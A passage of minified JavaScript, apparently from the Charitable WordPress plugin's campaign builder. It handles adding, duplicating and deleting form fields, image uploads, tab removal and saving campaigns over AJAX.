button=$(this),field_id=$(this).closest(".charitable-panel-field").data("field-id");window.formfield=$(this).parent().prev();window.field_id=field_id;if(file_frame){file_frame.open();return}file_frame=wp.media.frames.file_frame=wp.media({title:button.data("uploader_title"),library:{type:"image"},button:{text:button.data("uploader_button_text")},multiple:false});file_frame.on("menu:render:default",function(view){const views={};view.unset("library-separator");view.unset("gallery");view.unset("featured-image");view.unset("embed");view.set(views)});file_frame.on("select",function(){const selection=file_frame.state().get("selection");selection.each(function(attachment,index){attachment=attachment.toJSON();window.formfield.val(attachment.url);app.updateImagePhotoPreview(window.field_id,attachment.url);window.field_id=false})});file_frame.open()});$builder.on("click",".charitable-campaign-builder-clear-button",function(e){e.preventDefault();const button=$(this),field_id=$(this).closest(".charitable-panel-field").data("field-id");button.closest(".charitable-internal").find('input[type="url"]').val("");app.updateImagePhotoPreview(field_id,false)})},updateImagePhotoPreview:function(field_id=0,imageUrl=""){const preview_field=$("#charitable-field-"+field_id),preview_field_image=preview_field.find("img.charitable-campaign-builder-preview-photo");if(false===imageUrl||""===imageUrl||!app.isValidURL(imageUrl)){preview_field.find(".primary-image-container .primary-image img").remove();preview_field.find(".primary-image-container .primary-image").append('<img src="../../images/campaign-builder/fields/photo/temp-icon.svg" class="temp-icon" alt="" />');preview_field.find(".primary-image-container").removeClass("has-image")}else{preview_field.find("i.temp-icon").remove();if(preview_field_image.length>0){preview_field_image.attr("src",imageUrl)}else{preview_field.find(".primary-image-container .primary-image").append('<img src="'+imageUrl+'" class="charitable-campaign-builder-preview-photo" />');preview_field.find(".primary-image-container").addClass("has-image")}}},isValidURL:function(str){var pattern=new RegExp("^(https?:\\/\\/)?"+"((([a-z\\d]([a-z\\d-]*[a-z\\d])*)\\.)+[a-z]{2,}|"+"((\\d{1,3}\\.){3}\\d{1,3}))"+"(\\:\\d+)?(\\/[-a-z\\d%_.~+]*)*"+"(\\?[;&a-z\\d%_.~+=-]*)?"+"(\\#[-a-z\\d_]*)?$","i");return!!pattern.test(str)},resetPreviewArea:function(){elements.$formPreview.find(".charitable-field").each(function(){$(this).removeClass("active")});$(".charitable-select-field-notice").show();$(".charitable-layout-options-tab-general .charitable-panel-field").removeClass("active");$("#charitable-preview-tab-container").removeClass("active")},fieldDelete:function(id,confirmation=true){var $field=$("#charitable-field-"+id),type=$field.data("field-type");if($field.hasClass("no-delete")){app.youCantRemoveFieldPopup();return}if(confirmation){app.confirmFieldDeletion(id,type)}else{app.fieldDeleteById(id,type)}},confirmFieldDeletion:function(id,type){var fieldData={id:id,message:charitable_builder.delete_confirm};var event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldDeleteAlert",[fieldData,type]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:fieldData.message,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){app.fieldDeleteById(id,type)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},confirmCampaignDeletion:function(){$builder.on("click",".charitable-button.alert.delete-campaign",function(e){e.preventDefault();$.alert({title:false,content:charitable_builder.campaign_delete_confirm,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})})},fieldDeleteById:function(id=false,type="",duration=200){if(id===false){return}$(`#charitable-field-${id}`).fadeOut(duration,function(){const $field=$(this),section=$field.closest(".charitable-field-section"),type=$field.data("field-type"),max=typeof $field.data("field-max")!=="undefined"?parseInt($field.data("field-max")):99;$builder.trigger("charitableBeforeFieldDelete",[id,type]);$field.remove();$("#charitable-field-option-"+id).remove();$(".charitable-field, .charitable-preview-top-bar").removeClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+id+'"]').remove();$(".charitable-select-field-notice").show();app.checkNoFieldsPreview();app.checkFieldTargetState(section);if(max===0||elements.$preview.find(".charitable-field.charitable-field-donate-amount").length<max){$("#charitable-panel-design button#charitable-add-fields-donate-amount").removeClass("charitable-disabled")}app.checkIfTabsAreEmpty();if($(".charitable-layout-options-tab.charitable-layout-options-tab-general").hasClass("active")){app.fieldTabToggle("add-layout")}const $fieldsOptions=$(".charitable-field-option"),$submitButton=$builder.find(".charitable-field-submit");if($fieldsOptions.length<1){elements.$sortableFieldsWrap.append(elements.$noFieldsPreview.clone());elements.$fieldOptions.append(elements.$noFieldsOptions.clone());$submitButton.hide()}if(!$fieldsOptions.filter(":not(.charitable-field-option-layout)").length){$submitButton.hide()}app.checkFieldAllow();app.checkFieldMax(type,max);app.checkRecommendedFields(type);if(wpCookies.get("charitable_panel_active_field_id")===id){wpCookies.set("charitable_panel_active_field_id","",2592e3)}app.setCampaignNotSaved();$builder.trigger("charitableFieldDelete",[id,type])})},fieldEdit:function(type,section,edit_field_id,field_id,field_type){if(section==="general"||section==="standard"||section==="pro"||section==="recommended"){app.panelSwitch("design");$(".charitable-select-field-notice").hide();$(".charitable-layout-options-tab-general .charitable-panel-field").removeClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').addClass("active");$('.charitable-layout-options-tab-general .charitable-panel-field[data-field-id="'+field_id+'"]').find("input[type=text],input[type=button],input[type=range],input[type=url],textarea,select").filter(":visible:first").focus();if("html"===field_type){$builder.trigger("charitableFieldAddHTML",[field_id,field_type])}else{$builder.trigger("charitableFieldEdit",[type,section,edit_field_id,field_id,field_type])}}},fieldDuplicate:function(id){const $field=$(`#charitable-field-${id}`);if($field.hasClass("no-duplicate")){$.alert({title:charitable_builder.field_locked,content:charitable_builder.field_locked_no_duplicate_msg,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.close,btnClass:"btn-confirm",keys:["enter"]}}});return}$.confirm({title:false,content:charitable_builder.duplicate_confirm,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){this.$$confirm.prop("disabled",true);const beforeEvent=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldDuplicate",[id,$field]);if(beforeEvent.isDefaultPrevented()){return}const newFieldId=app.fieldDuplicateRoutine(id),$newField=$(`#charitable-field-${newFieldId}`);CharitableUtils.triggerEvent($builder,"charitableFieldDuplicated",[id,$field,newFieldId,$newField])}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},fieldDuplicateRoutine:function(id){const $field=$(`#charitable-field-${id}`),$fieldActiveFields=elements.$sortableFieldsWrap.find("> .active"),$fieldActiveTabs=elements.$sortableFieldsWrap.find("> .active"),$newField=$field.clone(),newFieldID=parseInt(elements.$nextFieldId.val(),10)+1,$settingsArea=$('#charitable-field-options .charitable-layout-options-group-inner .charitable-panel-field[data-field-id="'+id+'"]');if($newField){app.updateFormHiddenFieldID(newFieldID)}$field.after($newField);$fieldActiveFields.removeClass("active");$fieldActiveTabs.removeClass("active");$newField.addClass("active").attr({id:`charitable-field-${newFieldID}`,"data-field-id":newFieldID});$settingsArea.each(function(){var $newSettingsField=$(this).clone(),isContains=$newSettingsField.text().indexOf("ID:")>-1;$newSettingsField.attr("data-field-id",newFieldID);$(this).removeClass("active");$newSettingsField.addClass("active");if(isContains){$newSettingsField.text(function(index,text){return text.replace("ID: "+id,"ID: "+newFieldID)})}if(typeof $newSettingsField.attr("name")!=="undefined"&&$newSettingsField.attr("name").length>0){$newSettingsField.attr("name",$newSettingsField.attr("name").replace(id,newFieldID))}if(typeof $newSettingsField.attr("id")!=="undefined"&&$newSettingsField.attr("id").length>0){$newSettingsField.attr("id",$newSettingsField.attr("id").replace(id,newFieldID))}$newSettingsField.find("*").each(function(){var $subField=$(this);if(typeof $subField.attr("for")!=="undefined"&&$subField.attr("for").length>0){$subField.attr("for",$subField.attr("for").replace(id,newFieldID))}if(typeof $subField.attr("name")!=="undefined"&&$subField.attr("name").length>0){$subField.attr("name",$subField.attr("name").replace(id,newFieldID))}if(typeof $subField.attr("id")!=="undefined"&&$subField.attr("id").length>0){$subField.attr("id",$subField.attr("id").replace(id,newFieldID))}if(typeof $subField.data("field-id")!=="undefined"&&$subField.data("field-id").length>0){$newSettingsField.attr("data-field-id",newFieldID)}});$newSettingsField.find(".charitable-toggle-control").attr("data-field-id",newFieldID);$newSettingsField.find(".charitable-checkbox-for-toggle").attr("data-field-id",newFieldID);$("#charitable-field-options .charitable-layout-options-tab-general .charitable-layout-options-group-inner").append($newSettingsField);if(typeof $newSettingsField.data("special-type")!=="undefined"&&$newSettingsField.data("special-type")==="campaign_description"){let contentToCopy=$newSettingsField.find(".campaign-builder-htmleditor .ql-editor").html();$newSettingsField.find(".ql-toolbar").remove();$newSettingsField.find(".campaign-builder-htmleditor").html('<div data-textarea-name="_fields['+newFieldID+'][content]" id="charitable-panel-field-settings-field_campaign-description_html_'+newFieldID+'" class="campaign-builder-htmleditor">'+contentToCopy+"</div>");app.initHTMLEditorFields($newSettingsField.find(".campaign-builder-htmleditor"),false)}app.checkFieldAllow();app.checkFieldMax()});return newFieldID},focusOutEvent:function(){if(elements.$focusOutTarget===null){return}elements.$focusOutTarget=null},isFormPreviewActionsDisabled:function(el){return $(el).closest(".charitable-field-wrap").hasClass("ui-sortable-disabled")},fieldGroupTogglev2:function(el,action){var $this=$(el),groupName=$this.closest(".charitable-group").data("group_id"),$nearestGroup=$this.closest(".charitable-group"),$rows=$nearestGroup.find(".charitable-group-rows"),$group=$rows.parent(),$icon=$this.find("i"),cookieName="charitable_panel_layout_options_tabs_tab_open_"+groupName;if(action==="click"){$icon.toggleClass("charitable-angle-right");$rows.stop().slideToggle("",function(){$nearestGroup.toggleClass("charitable-closed");if($nearestGroup.hasClass("charitable-closed")){$nearestGroup.removeClass("charitable-open");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}});return}},fieldGroupTogglev3:function(el,action="click"){var $this=$(el),$nearestGroup=$this.closest(".charitable-add-fields-group"),$rows=$nearestGroup.find(".charitable-group-rows"),$icon=$this,groupName="test",cookieName="charitable_panel_add_layout_blocks_open_"+groupName;if(action==="click"){$icon.toggleClass("charitable-angle-right");$rows.stop().slideToggle("",function(){$nearestGroup.toggleClass("charitable-closed");if($nearestGroup.hasClass("charitable-closed")){$nearestGroup.removeClass("charitable-open");wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}});return}},fieldGroupToggle:function(el,action){var $this=$(el),$buttons=$this.next(".charitable-add-fields-buttons"),$group=$buttons.parent(),$icon=$this.find("i"),groupName=$this.data("group"),cookieName="charitable_field_group_"+groupName;if(groupName=="general-layout-campaign"||groupName=="general-layout-faq"){$group=$this.parent().find(".charitable-"+groupName+"-group-inner");$buttons=$group}if(action==="click"){if($group.hasClass("charitable-closed")){wpCookies.remove(cookieName)}else{wpCookies.set(cookieName,"true",2592e3)}$icon.toggleClass("charitable-angle-right");$buttons.stop().slideToggle("",function(){$group.toggleClass("charitable-closed")});return}else if(action==="load"){$buttons=$this.find(".charitable-add-fields-buttons");$icon=$this.find(".charitable-add-fields-heading i");groupName=$this.find(".charitable-add-fields-heading").data("group");cookieName="charitable_field_group_"+groupName;if(wpCookies.get(cookieName)==="true"){$icon.toggleClass("charitable-angle-right");$buttons.hide();$this.toggleClass("charitable-closed")}}},fieldMove:function(type,options){var $field=options.field;$field.find(".charitable-field-edit").click();$builder.find(".charitable-add-fields .charitable-add-fields-button").prop("disabled",false);var section=$field.closest(".charitable-field-section");app.checkFieldTargetState(section);if(options.section){app.checkFieldTargetState(options.section)}$builder.trigger("charitableFieldMove",[options.fieldId,type])},fieldAdd:function(type,options){const $btn=$(`#charitable-add-fields-${type}`);adding=true;if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.disableDragAndDrop==="function"){Charitable.Admin.Builder.DragFields.disableDragAndDrop()}app.disableFormActions();let defaults={campaign_title:s.campaignTitle,position:"bottom",$sortable:"base",placeholder:false,scroll:true,defaults:false,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,area:"fields"};options=$.extend({},defaults,options);let data={action:"charitable_new_field_"+type,id:s.formID,column_id:options.column_id,tab_id:options.tab_id,section_id:options.section_id,field_id:parseInt(elements.$nextFieldId.val())+1,type:type,campaign_title:options.campaign_title,defaults:options.defaults,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(res){if(!res.success){wpchar.debug("Add field AJAX call is unsuccessful:",res);return}wpchar.debug("fieldAdd return");app.refreshTabFieldsSortDrag();let $baseFieldsContainer=options.area==="tabs"?elements.$sortableTabContent.find('li[data-tab-id="'+data.tab_id+'"] .charitable-tab-wrap'):elements.$formPreview.find('.charitable-field-wrap[data-section-id="'+data.section_id+'"]');wpchar.debug($baseFieldsContainer);const $newField=$(res.data.preview),maxAllowed=typeof res.data.max!=="undefined"?parseInt(res.data.max):99,$newOptions=$(res.data.options);let $fieldContainer=options.$sortable;adding=false;$newField.css("display","none");if(options.placeholder){options.placeholder.remove()}if(options.$sortable==="default"||!options.$sortable.length){$fieldContainer=$baseFieldsContainer.find(".charitable-fields-sortable-default")}if(options.$sortable==="base"||!$fieldContainer.length){$fieldContainer=$baseFieldsContainer}let event=CharitableUtils.triggerEvent($builder,"charitableBeforeFieldAddToDOM",[options,$newField,$newOptions,$fieldContainer]);if(event.isDefaultPrevented()){return}if(!event.skipAddFieldToBaseLevel){app.fieldAddToBaseLevel(options,$newField,$newOptions)}if(elements.$preview.find(".charitable-field.charitable-field-donate-amount").length>=maxAllowed){$("#charitable-panel-design button#charitable-add-fields-donate-amount").addClass("charitable-disabled")}$newField.fadeIn();app.checkFieldTargetState($('.charitable-field-section[data-section-id="'+data.section_id+'"]'));$newField.find(".charitable-field-edit").click();if($(".charitable-field-option:not(.charitable-field-option-layout)").length){$builder.find(".charitable-field-submit").show()}app.updateFormHiddenFieldID(res.data.field_id);if(res.data.edit_field_html!==""){$(".charitable-layout-options-tab-general .charitable-layout-options-group-inner").append(res.data.edit_field_html).find('.charitable-panel-field[data-field-id="'+res.data.field_id+'"]').addClass("active");if(res.data.html_field!=""){$('.charitable-panel-field[data-field-id="'+res.data.field_id+'"]').find(".campaign-builder-htmleditor").each(function(){app.initHTMLEditorFields($(this),false)})}if(type==="campaign-description"&&typeof s.campaignDescription!=="undefined"){$newField.find(".charitable-campaign-builder-no-description-preview").html("<div>"+s.campaignDescription+"</div>");if($("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id).find(".ql-editor").length===0){app.initHTMLEditorFields($("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id))}$("#charitable-panel-field-settings-field_campaign-description_html_"+data.field_id).find(".ql-editor").html(s.campaignDescription)}}if(res.data.field.type==="organizer"){$('.campaign-builder-campaign-creator-id-mini[data-field-id="'+res.data.field_id+'"] select').select2({templateResult:app.campaignCreatorFormatOptions})}app.checkFieldAllow();app.checkFieldMax();app.updateEndDateRelatedItems();app.updateGoalRelatedItems();app.checkRecommendedFields(type);var fieldContainerSectionType=$fieldContainer.data("section-type"),forceDeleteNoPreview=false;if(typeof fieldContainerSectionType!=="undefined"&&fieldContainerSectionType==="fields"){forceDeleteNoPreview=true}app.checkNoFieldsPreview();if("photo"===type){$('.charitable-panel-field-uploader[data-field-id="'+res.data.field_id+'"] input.charitable-campaign-builder-upload-button').click()}else if("donate-amount"===type){$(".charitable-campaign-suggested-donations-mini").each(function(){app.initSuggestedDonationsMini($(this));app.updateSuggestdDonationsMiniRowsFromSettings($(this))})}$builder.trigger("charitableFieldAdd",[res.data.field.id,type])}).fail(function(xhr,textStatus,e){adding=false}).always(function(){$builder.find(".charitable-add-fields .charitable-add-fields-button").prop("disabled",false);if(!adding){if(Charitable.Admin.Builder.DragFields&&typeof Charitable.Admin.Builder.DragFields.enableDragAndDrop==="function"){Charitable.Admin.Builder.DragFields.enableDragAndDrop()}app.enableFormActions()}})},fieldAddToBaseLevel:function(options,$newField,$newOptions){wpchar.debug("options");wpchar.debug(options);let $baseFieldsContainer="";if(options.area==="tabs"){$baseFieldsContainer=elements.$sortableTabContent.find('li[data-tab-id="'+options.tab_id+'"] .charitable-tab-wrap');$baseFieldsContainer.parent().removeClass("empty-tab")}else{$baseFieldsContainer=elements.$formPreview.find('.charitable-field-wrap[data-section-id="'+options.section_id+'"]')}wpchar.debug("baseFieldsContainer");wpchar.debug($baseFieldsContainer);const $baseFields=$baseFieldsContainer.find("> :not(.charitable-field-drag-pending)"),$lastBaseField=$baseFields.last(),totalBaseFields=$baseFields.length;let $fieldInPosition=elements.$fieldOptions;if(options.position==="top"){$baseFieldsContainer.prepend($newField);return}if(options.position==="bottom"&&(!$lastBaseField.length||!$lastBaseField.hasClass("charitable-field-stick"))){wpchar.debug("adding field to the bottom!!!!");$baseFieldsContainer.append($newField);return}if(options.position==="bottom"){options.position=totalBaseFields}if(options.position===totalBaseFields&&$lastBaseField.length&&$lastBaseField.hasClass("charitable-field-stick")){$lastBaseField.before($newField);return}$fieldInPosition=$baseFieldsContainer.children(":not(.charitable-field-drag-pending)").eq(options.position);if($fieldInPosition.length){$fieldInPosition.before($newField);return}$baseFieldsContainer.append($newField)},checkIfTabsAreEmpty:function(){elements.$preview.find(".tab-content ul li.tab_content_item").each(function(){var numfields=$(this).find(".charitable-field").length;if(numfields===0){$(this).addClass("empty-tab")}})},disableFormActions:function(disableExit=false,disableCampaignTitleEdit=true,disablePreviewButton=false){$.each([elements.$embedButton,elements.$statusButton,elements.$saveButton],function(_index,button){button.prop("disabled",true).addClass("charitable-disabled")});if(disableExit){$.each([elements.$exitButton],function(_index,button){button.prop("disabled",true).addClass("charitable-disabled")})}if(disableCampaignTitleEdit){$(".charitable-edit-campaign-title-area").addClass("charitable-disabled");$(".charitable-edit-campaign-title-area input").prop("disabled",true);$(".charitable-edit-campaign-title-area a").addClass("charitable-disabled")}if(disablePreviewButton){elements.$previewButton.prop("disabled",true).addClass("charitable-disabled")}},enableFormActions:function(){$.each([elements.$statusButton,elements.$saveButton,elements.$exitButton],function(_index,button){button.prop("disabled",false).removeClass("charitable-disabled")});$(".charitable-edit-campaign-title-area").removeClass("charitable-disabled");$(".charitable-edit-campaign-title-area input").prop("disabled",false);$(".charitable-edit-campaign-title-area a").removeClass("charitable-disabled");if(s.formStatus==="publish"){elements.$embedButton.prop("disabled",false).removeClass("charitable-disabled")}},fieldChoiceDeleteAlert:function(){$.alert({title:false,content:charitable_builder.error_choice,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}})},fieldChoiceSortable:function(type,selector){selector=typeof selector!=="undefined"?selector:".charitable-field-option-"+type+" .charitable-field-option-row-choices ul";$(selector).sortable({items:"li",axis:"y",delay:100,opacity:.6,handle:".move",stop:function(e,ui){var id=ui.item.parent().data("field-id");app.fieldChoiceUpdate(type,id);$builder.trigger("charitableFieldChoiceMove",ui)},update:function(e,ui){}})},tabDelete:function(groupID){app.confirmTabDeletion(groupID)},confirmTabDeletion:function(groupID){var tabData={id:groupID,message:charitable_builder.delete_tab_confirm};var event=CharitableUtils.triggerEvent($builder,"charitableBeforeTabDeleteAlert",[tabData]);if(event.isDefaultPrevented()){return}$.confirm({title:false,content:charitable_builder.delete_tab_confirm,icon:"fa fa-exclamation-circle",type:"orange",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"],action:function(){app.tabDeleteById(groupID)}},cancel:{text:charitable_builder.cancel,keys:["esc"]}}})},tabDeleteById:function(groupID){const tab_settings=elements.$fieldOptions.find('[data-group_id="'+groupID+'"]'),tab_preview_nav=$("nav ul li#tab_"+groupID+"_title"),tab_preview_content=elements.$preview.find('.tab-content ul li.tab_content_item[data-tab-id="'+groupID+'"]'),tab_count=elements.$preview.find(".tab-content .tab_content_item").length-1,previous_group_ID=Math.abs(groupID-1),tab_content=elements.$preview.find(".tab-content");tab_settings.remove();tab_preview_nav.remove();tab_preview_content.remove();if(elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id="'+previous_group_ID+'"] a').length>0){elements.$preview.find('nav.charitable-campaign-preview-nav ul li[data-tab-id="'+previous_group_ID+'"] a').click()}else if(tab_count===1){elements.$preview.find("nav.charitable-campaign-preview-nav ul li a").first().click()}if(tab_count===0){tab_content.addClass("empty-tabs");tab_content.append('<p class="no-tab-notice">'+charitable_builder.no_tabs+"</p>")}else{tab_content.removeClass("empty-tabs");tab_content.find(".no-tab-notice").remove()}app.checkHideTabNavigation()},bindUIActionsPreview:function(){$("body").on("click","a#charitable-preview-btn",function(e){e.preventDefault();e.stopPropagation();if(parseInt(elements.$campaignID.val())===0){$.alert({title:charitable_builder.no_preview_must_save,content:charitable_builder.no_preview_must_save_msg,icon:"fa fa-info-circle",type:"blue",buttons:{confirm:{text:charitable_builder.close,btnClass:"btn-confirm",keys:["enter"]}}});return}else{var openNewTabURL="";if(typeof this.href!=="undefined"){openNewTabURL=this.href.replace("charitable_campaign_preview=0","charitable_campaign_preview="+s.campaignID)}if(typeof s.formStatus!=="undefined"&&s.formStatus==="publish"){app.formSave(false,true,openNewTabURL)}else if(typeof s.formStatus!=="undefined"&&s.formStatus==="draft"){app.formSave(false,true,openNewTabURL)}}})},bindUIActionsSaveExit:function(){$builder.on("click","#charitable-embed",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass("charitable-disabled")){return}CharitableCampaignEmbedWizard.openPopup(s.formID)});$builder.on("click","#charitable-status-button",function(e){e.preventDefault();e.stopPropagation();if($(this).hasClass("charitable-disabled")){return}if($(this).hasClass("active")){$(this).parent().find("ul#charitable-status-dropdown").addClass("charitable-hidden");$(this).removeClass("active")}else{$(this).parent().find("ul#charitable-status-dropdown").removeClass("charitable-hidden");$(this).addClass("active")}});$builder.on("click","ul#charitable-status-dropdown a",function(e){e.preventDefault();e.stopPropagation();if($("#charitable-status-button").hasClass("charitable-disabled")){return}var newStatus=$(this).data("status"),newStatusLabel=$(this).data("status-label"),$statusDropdown=$("ul#charitable-status-dropdown");$statusDropdown.addClass("charitable-hidden");$("#charitable-status-button").removeClass("active");$("#charitable-status-button span.text").html(newStatusLabel);$("#charitable-status-button").attr("data-status",newStatus);$statusDropdown.find("a").removeClass("charitable-hidden");$statusDropdown.find("a.switch-"+newStatus).addClass("charitable-hidden");$statusDropdown.find("a."+newStatus).addClass("charitable-hidden");if(newStatus==="draft"){}else if(newStatus==="publish"){}s.formStatus=newStatus;s.formStatusLabel=newStatusLabel});$builder.on("click",function(e){if($(e.target).is("#charitable-status-dropdown")===false){$("ul#charitable-status-dropdown").addClass("charitable-hidden");$("#charitable-status-button").removeClass("active")}});$builder.on("click","#charitable-save",function(e){e.preventDefault();app.formSave(false)});$builder.on("click","#charitable-exit",function(e){e.preventDefault();app.formExit()});$builder.on("charitableSaved",function(e,data){$("#charitable_settings_title").attr("disabled",true);wpchar.removeQueryParam("newform")})},updateFormID:function(){var data={action:"charitable_get_campaign_form_id",id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=response.data.campaign_id,redirect=false;$("form#charitable-builder-form").attr("data-id",campaignID);$('form#charitable-builder-form input[name="id"]').val(campaignID);if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState("#charitable-builder-form");wpchar.initialSave=false;$builder.trigger("charitableSaved",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(true===redirect){window.location.href=charitable_builder.exit_url}}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},updateFormHiddenFields:function(){$('#charitable-panel-design .charitable-panel-content-wrap input[type="hidden"]').remove();$(".charitable-field-wrap .charitable-field, .charitable-tab-wrap .charitable-field").each(function(){var row_type=$(this).closest(".row").data("row-type"),row_id=$(this).closest(".row").data("row-id"),row_css=$(this).closest(".row").data("row-css").length>0?$(this).closest(".row").data("row-css"):"no-css",column_id=$(this).closest(".column.charitable-field-column").data("column-id"),section_type=$(this).closest(".section.charitable-field-section").data("section-type"),section_id=$(this).closest(".section.charitable-field-section").data("section-id"),field_id=$(this).data("field-id"),tab_id="tabs"===section_type?$(this).closest("li.tab_content_item").data("tab-id"):false;if(typeof row_id!=="undefined"){if("tabs"===section_type){elements.$formPreview.append('<input type="hidden" name="layout[row][row-type-'+row_type+"]["+row_id+"]["+row_css+"][column]["+column_id+"][section][section-type-"+section_type+"]["+section_id+"][tabs]["+tab_id+"][fields]["+field_id+']" value="'+$(this).data("field-type")+'" />')}else{elements.$formPreview.append('<input type="hidden" name="layout[row][row-type-'+row_type+"]["+row_id+"]["+row_css+"][column]["+column_id+"][section][section-type-"+section_type+"]["+section_id+"][fields]["+field_id+']" value="'+$(this).data("field-type")+'" />')}}})},updateFormHiddenFieldID:function(newValue=0){if(0===newValue){var field_id=0;elements.$formPreview.find(".charitable-field").each(function(){var value=parseFloat($(this).attr("data-field-id"));field_id=value>field_id?value:field_id});newValue=field_id}elements.$nextFieldId.val(parseInt(newValue))},updatePreviewLink:function(previewLink=""){elements.$previewButton.attr("href",previewLink)},updateSuggestDonationsSettings:function($element,theIndex){if(!$element.is("input")||app.getInputType($element)!=="text"){return}$("table#campaign_donation_amounts tbody").find('input[type="text"].campaign_suggested_donations').eq(theIndex).val($element.val());$(".charitable-campaign-suggested-donations-mini tbody").find('input[type="text"].campaign_suggested_donations').eq(theIndex).val($element.val());elements.$preview.find(".charitable-field-donate-amount li.charitable-preview-donation-amount").eq(theIndex/2-1).find("span").first().html($element.val())},updateAllowCustomDonationSettings:function(isChecked){const $custom_preview_fields=elements.$preview.find(".charitable-preview-donation-options .custom-donation-amount");if(isChecked){$custom_preview_fields.removeClass("charitable-hidden")}else{$custom_preview_fields.addClass("charitable-hidden")}},updateSuggestedDonationAmountDefault:function(selectedValue=0){if(selectedValue>0){$('input[type="radio"].campaign_suggested_donations').prop("checked",false);$('input[type="radio"][value='+selectedValue+"].campaign_suggested_donations").prop("checked",true);elements.$preview.find(".charitable-field.charitable-field-donate-amount li").removeClass("selected");elements.$preview.find(".charitable-preview-donation-amounts li:nth-child("+selectedValue+")").addClass("selected");if(elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type="radio"]').length>0){elements.$preview.find('.charitable-field.charitable-field-donate-amount input[type="radio"]:eq('+(selectedValue-1)+")").prop("checked",true)}}else{$("input:radio].campaign_suggested_donations").prop("checked",false)}},getInputType:function($element){var thistest=$element;return thistest[0].tagName.toString().toLowerCase()==="input"?$(thistest[0]).prop("type").toLowerCase():thistest[0].tagName.toLowerCase()},updateCampaignCreatorInfo:function(){var data={action:"charitable_update_campaign_creator",creator_id:parseInt($("select#charitable-panel-field-settings-campaign_campaign_creator_id").val()),campaign_id:s.formID,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){$("#campaign-creator .charitable-campaign-creator-avatar img").attr("src",response.data.avatar_url);$("#campaign-creator h3.creator-name").html(response.data.creator_name);$("#campaign-creator p.joined-on span").html(response.data.joined_on);$("#campaign-creator a.public-profile-link").attr("href",response.data.public_profile_link);$("#campaign-creator a.edit-profile-link").attr("href",response.data.edit_profile_link)}else{app.formSaveError(response.data)}}).fail(function(xhr,textStatus,e){app.formSaveError()}).always(function(){})},formSaveCheck:function(){if($("#charitable_settings_title").val().length===0){$.alert({title:charitable_builder.error_title,content:charitable_builder.error_no_title,icon:"fa fa-info-circle",type:"red",buttons:{confirm:{text:charitable_builder.ok,btnClass:"btn-confirm",keys:["enter"]}}});return false}},formSave:function(redirect,preview=false,openNewTabURL="",refreshAfterSave=false){var $saveBtn=elements.$saveButton,$icon=$saveBtn.find("img.topbar_icon"),$spinner=$saveBtn.find("i.charitable-loading-spinner"),$label=$saveBtn.find("span"),currentPostStatus=s.formSavedStatus;if($builder.hasClass("charitable-is-revision")&&!$builder.hasClass("charitable-revision-is-saving")){app.confirmSaveRevision();return}if(app.formSaveCheck()===false){return}if(typeof tinyMCE!=="undefined"){tinyMCE.triggerSave()}var event=CharitableUtils.triggerEvent($builder,"charitableBeforeSave");if(event.isDefaultPrevented()){return}$("#charitable_settings_title").removeAttr("disabled");$saveBtn.prop("disabled",true);if(preview===false){$label.text(charitable_builder.saving);$icon.addClass("charitable-hidden");$spinner.removeClass("charitable-hidden")}app.updateFormHiddenFields();var data={action:"charitable_save_campaign",data:JSON.stringify($("#charitable-builder-form").serializeArray()),id:s.formID,status:s.formStatus,statusLabel:s.formStatusLabel,preview:preview,nonce:charitable_builder.nonce};return $.post(charitable_builder.ajax_url,data,function(response){if(response.success){var campaignID=parseInt(response.data.campaign_id);if(refreshAfterSave){if(window.location.href===app.addCampaignIDToURL(campaignID)){window.location.href=app.addCampaignIDToURL(campaignID);return}else{window.location.href=app.addCampaignIDToURL(campaignID);return}}$("form#charitable-builder-form").attr("data-id",campaignID);$('form#charitable-builder-form input[name="id"]').val(campaignID);s.formID=campaignID;if(response.data.field_id){elements.$nextFieldId.val(parseInt(response.data.field_id))}wpchar.savedState=wpchar.getFormState("#charitable-builder-form");wpchar.initialSave=false;$builder.trigger("charitableSaved",response.data);app.updateDebugWindow(response.data,response.data.campaign_id);if(typeof response.data.preview_url!=="undefined"&&response.data.preview_url.length>0){app.updatePreviewLink(response.data.preview_url)}if(preview===false){app.setCampaignSaved()}if(true===redirect){window.location.href=charitable_builder.exit_url}if(history.pushState){var 